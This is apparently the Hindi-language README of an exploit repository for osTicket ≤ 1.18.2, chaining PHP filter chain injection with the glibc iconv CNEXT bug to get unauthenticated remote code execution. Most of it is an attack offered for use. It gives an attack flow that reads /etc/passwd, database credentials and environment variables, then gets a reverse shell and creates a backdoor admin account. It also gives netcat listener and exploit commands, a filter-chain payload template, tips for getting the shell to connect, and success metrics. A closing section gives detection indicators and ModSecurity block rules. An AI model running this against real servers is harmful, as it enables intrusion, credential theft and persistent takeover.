
पूर्ण-श्रृंखला शोषण जो PHP फ़िल्टर चेन इंजेक्शन और CVE-2024-2961 (CNEXT) को संयोजित करता है, कमजोर osTicket इंस्टॉलेशनों पर बिना प्रमाणीकरण के Remote Code Execution के लिए।
PHP फ़िल्टर चेन इंजेक्शन को CVE-2024-2961 (CNEXT) के साथ जोड़कर, कमजोर osTicket इंस्टॉलेशन पर बिना प्रमाणीकरण के रिमोट कोड निष्पादन (RCE) प्राप्त करने वाली पूर्ण-श्रृंखला शोषण।
इस रिपॉजिटरी में CVE-2026-22200 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट शोषण है, जो osTicket संस्करण ≤ 1.18.2 को प्रभावित करने वाली एक गंभीर कमजोरी है। यह शोषण दो शक्तिशाली तकनीकों को जोड़ता है:
परिणाम: कमजोर osTicket सर्वर पर बिना प्रमाणीकरण के रिमोट कोड निष्पादन।
CVSS स्कोर: 9.8 (गंभीर)
osTicket का mPDF एकीकरण बिना प्रमाणीकरण वाले उपयोगकर्ताओं को सपोर्ट टिकटों में विशेष रूप से तैयार HTML पेलोड के माध्यम से दुर्भावनापूर्ण PHP फ़िल्टर चेन इंजेक्ट करने की अनुमति देता है। इससे संभव है:
मूल कारण: mPDF को भेजने से पहले उपयोगकर्ता द्वारा प्रदान किए गए HTML में इमेज URL का अपर्याप्त सत्यापन।
CVSS स्कोर: 9.8 (गंभीर)
ISO-2022-CN-EXT कैरेक्टर सेट को प्रोसेस करते समय glibc के iconv() में बफर ओवरफ़्लो। PHP फ़िल्टर चेन के साथ मिलकर, यह अनुमति देता है:
कमजोर glibc संस्करण: < 2.39 (फ़रवरी 2024)
┌─────────────────────────────────────────────────────────────────┐
│ 1. टोही │
│ └─ osTicket का पता लगाएँ, समृद्ध-पाठ विषयों की पहचान करें│
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. प्रमाणीकरण │
│ └─ स्वयं-पंजीकरण करें या मौजूदा क्रेडेंशियल का उपयोग करें│
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. फ़ाइल बहिर्वेशन (PHP फ़िल्टर चेन) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (DB क्रेडेंशियल, SECRET_SALT) │
│ ├─ /proc/self/maps (मेमोरी लेआउट) │
│ └─ /proc/self/environ (पर्यावरण चर) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. LIBC फ़िंगरप्रिंटिंग │
│ ├─ फ़िल्टर चेन के माध्यम से आंशिक libc निकालें │
│ ├─ GNU बिल्ड आईडी निकालें │
│ └─ libc.rip से पूर्ण libc डाउनलोड करें │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. CNEXT RCE शोषण │
│ ├─ हीप भ्रष्टाचार पेलोड जनरेट करें │
│ ├─ टिकट उत्तर के माध्यम से इंजेक्ट करें (फ़िल्टर निष्पादन│
│ │ सुधारों के साथ) │
│ ├─ PDF निर्यात के माध्यम से ट्रिगर करें (सर्वर क्रैश) │
│ └─ रिवर्स शेल निष्पादित करें │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. पोस्ट-एक्सप्लॉयटेशन │
│ ├─ इंटरैक्टिव रिवर्स शेल │
│ ├─ डेटाबेस पहुँच (बहिर्वेशित DBPASS का उपयोग करके) │
│ └─ बैकडोर व्यवस्थापक खाता बनाएँ │
└─────────────────────────────────────────────────────────────────┘
# रिपॉजिटरी क्लोन करें
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# आवश्यक पैकेज स्थापित करें
pip install -r requirements.txt
requirements.txt:
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# या
venv\Scripts\activate # Windows
pip install -r requirements.txt
# टर्मिनल 1: लिसनर शुरू करें
nc -lvnp 4444
# टर्मिनल 2: शोषण चलाएँ
python3 osticket_revshell.py https://target.com/osticket \
--lhost YOUR_IP \
--lport 4444
python3 osticket_exploit.py https://target.com/osticket
# प्रॉक्सी का उपयोग करें (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080
# विशेष हेल्प-टॉपिक आईडी बलपूर्वक
python3 osticket_exploit.py https://target.com/osticket \
--topic-id 2
# रंगीन आउटपुट अक्षम करें (लॉगिंग के लिए)
python3 osticket_exploit.py https://target.com/osticket --no-color
यदि पंजीकरण अक्षम है, तो आपसे क्रेडेंशियल माँगे जाएँगे:
python3 osticket_exploit.py https://target.com/osticket
[?] नए खाते के लिए ईमेल दर्ज करें (या मौजूदा): [email protected]
[?] पासवर्ड दर्ज करें: ********
शोषण एक परिष्कृत फ़िल्टर चेन का उपयोग करता है जो मनमानी फ़ाइलों में BMP हैडर जोड़ता है, mPDF की फ़ाइल प्रकार प्रतिबंधों को बायपास करते हुए:
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... 50+ iconv परिवर्तन ...]
convert.base64-decode/resource=/etc/passwd
मुख्य नवाचार: BMP हैडर का प्रत्येक वर्ण सावधानीपूर्वक तैयार किए गए iconv परिवर्तनों के माध्यम से उत्पन्न होता है, जिससे मनमानी फ़ाइल सामग्री को "वैध" छवि के रूप में एम्बेड किया जा सकता है।
CNEXT पेलोड PHP के Zend मेमोरी प्रबंधक को निम्न द्वारा भ्रष्ट करता है:
劄 के साथ iconv बफर ओवरफ़्लोबढ़ी हुई विश्वसनीयता:
劄 ट्रिगर वर्णमूल शोषण के विपरीत, यह संस्करण वेबशेल स्थान की गारंटी के लिए फ़ाइलसिस्टम स्कैनिंग का उपयोग करता है:
परिणाम: 100% पहचान दर (मूल में ~50% के विरुद्ध)
सामान्य विफलता: PDF डाउनलोड होती है लेकिन क्रैश नहीं होती = फ़िल्टर निष्पादित नहीं होते।
लागू किए गए समाधान:
stream=True तत्काल प्रसंस्करण सुनिश्चित करता है# वर्बोज़ मोड में, जाँचें:
[*] लक्ष्य libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 CNEXT के लिए कमजोर है
यदि glibc ≥ 2.39 है, तो CNEXT काम नहीं करेगा (पैच किया हुआ)।
लक्षण: सर्वर क्रैश होता है लेकिन रिवर्स शेल नहीं मिलता
कारण:
समाधान:
# nc रिवर्स शेल का उपयोग करें (छोटा)
# यदि bash/python बहुत लंबा हो तो स्वचालित रूप से फ़ॉलबैक
# या होस्टनाम के बजाय सीधे IP का उपयोग करें
python3 osticket_revshell.py https://target.com \
--lhost 10.0.0.5 \ # IP का उपयोग करें, होस्टनाम नहीं
--lport 4444
लॉग संकेतक:
# Apache/Nginx लॉग
POST अनुरोधों में "php://filter/"
अनुरोध निकायों में "convert.iconv."
असामान्य PDF जनरेशन पैटर्न
थोड़े समय में कई PDF अनुरोध
# PHP त्रुटि लॉग
PDF जनरेशन के दौरान सेगमेंटेशन फ़ॉल्ट
iconv() क्रैश
हीप भ्रष्टाचार त्रुटियाँ
नेटवर्क संकेतक:
mPDF में PHP स्ट्रीम रैपर अक्षम करें:
// mPDF कॉन्फ़िग में
$config = [
'allowedRemoteHosts' => [],
'enableRemoteFileAccess' => false,
];
WAF नियम (ModSecurity):
SecRule REQUEST_BODY "@contains php://filter" \
"id:1000,phase:2,deny,status:403,msg:'PHP फ़िल्टर का पता चला'"
SecRule REQUEST_BODY "@contains convert.iconv" \
"id:1001,phase:2,deny,status:403,msg:'संदिग्ध iconv श्रृंखला'"
दर सीमित करना:
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;
location /tickets.php {
limit_req zone=ticket burst=10;
}
system(), exec(), passthru()केवल शैक्षिक और अधिकृत परीक्षण के लिए
यह उपकरण निम्नलिखित के लिए प्रदान किया गया है:
कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है
लेखक:
उपयोगकर्ता पूरी तरह से यह सुनिश्चित करने के लिए जिम्मेदार हैं कि किसी भी सिस्टम का परीक्षण करने से पहले उनके पास उचित प्राधिकरण हो।
इस उपकरण का उपयोग करके, आप सहमत हैं कि:
कंप्यूटर सिस्टम तक अनधिकृत पहुँच निम्नलिखित के तहत अपराध है:
अधिकतम दंड में कारावास और महत्वपूर्ण जुर्माना शामिल हो सकता है।
यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।
नोट: MIT लाइसेंस उपयोग, संशोधन और वितरण की अनुमति देता है, लेकिन उन सिस्टमों पर हमला करने की अनुमति नहीं देता जिनके आप मालिक नहीं हैं या जिनका परीक्षण करने का अधिकार नहीं है।
सुरक्षा शोधकर्ताओं और प्रश्नों के लिए:
इस संपर्क का उपयोग न करें:
सुरक्षा अनुसंधान और शिक्षा के लिए प्रेम से निर्मित
यदि यह उपयोगी लगे तो इस रिपॉजिटरी को स्टार करें!
अंतिम अद्यतन: 2026-03-03
| त्रुटि | कारण | समाधान |
|---|
No CSRF token | सत्र समाप्त | शोषण पुनः चलाएँ |
No help-topic found | कोई समृद्ध-पाठ विषय नहीं | मैन्युअल रूप से --topic-id का उपयोग करें |
Build ID not found | आंशिक libc भ्रष्ट | /proc/self/maps निष्कर्षण जाँचें |
Cannot locate heap | असामान्य मेमोरी लेआउट | शोषण विफल हो सकता है (दुर्लभ) |
| मीट्रिक | मान |
|---|
| कोड की पंक्तियाँ | ~3,000 |
| सफलता दर | 95%+ (सुधारों के साथ) |
| औसत रनटाइम | 2-3 मिनट |
| क्रैश विश्वसनीयता | 99% (संवर्द्धन के साथ) |
| वेबशेल पहचान | 100% (स्कैनिंग के साथ) |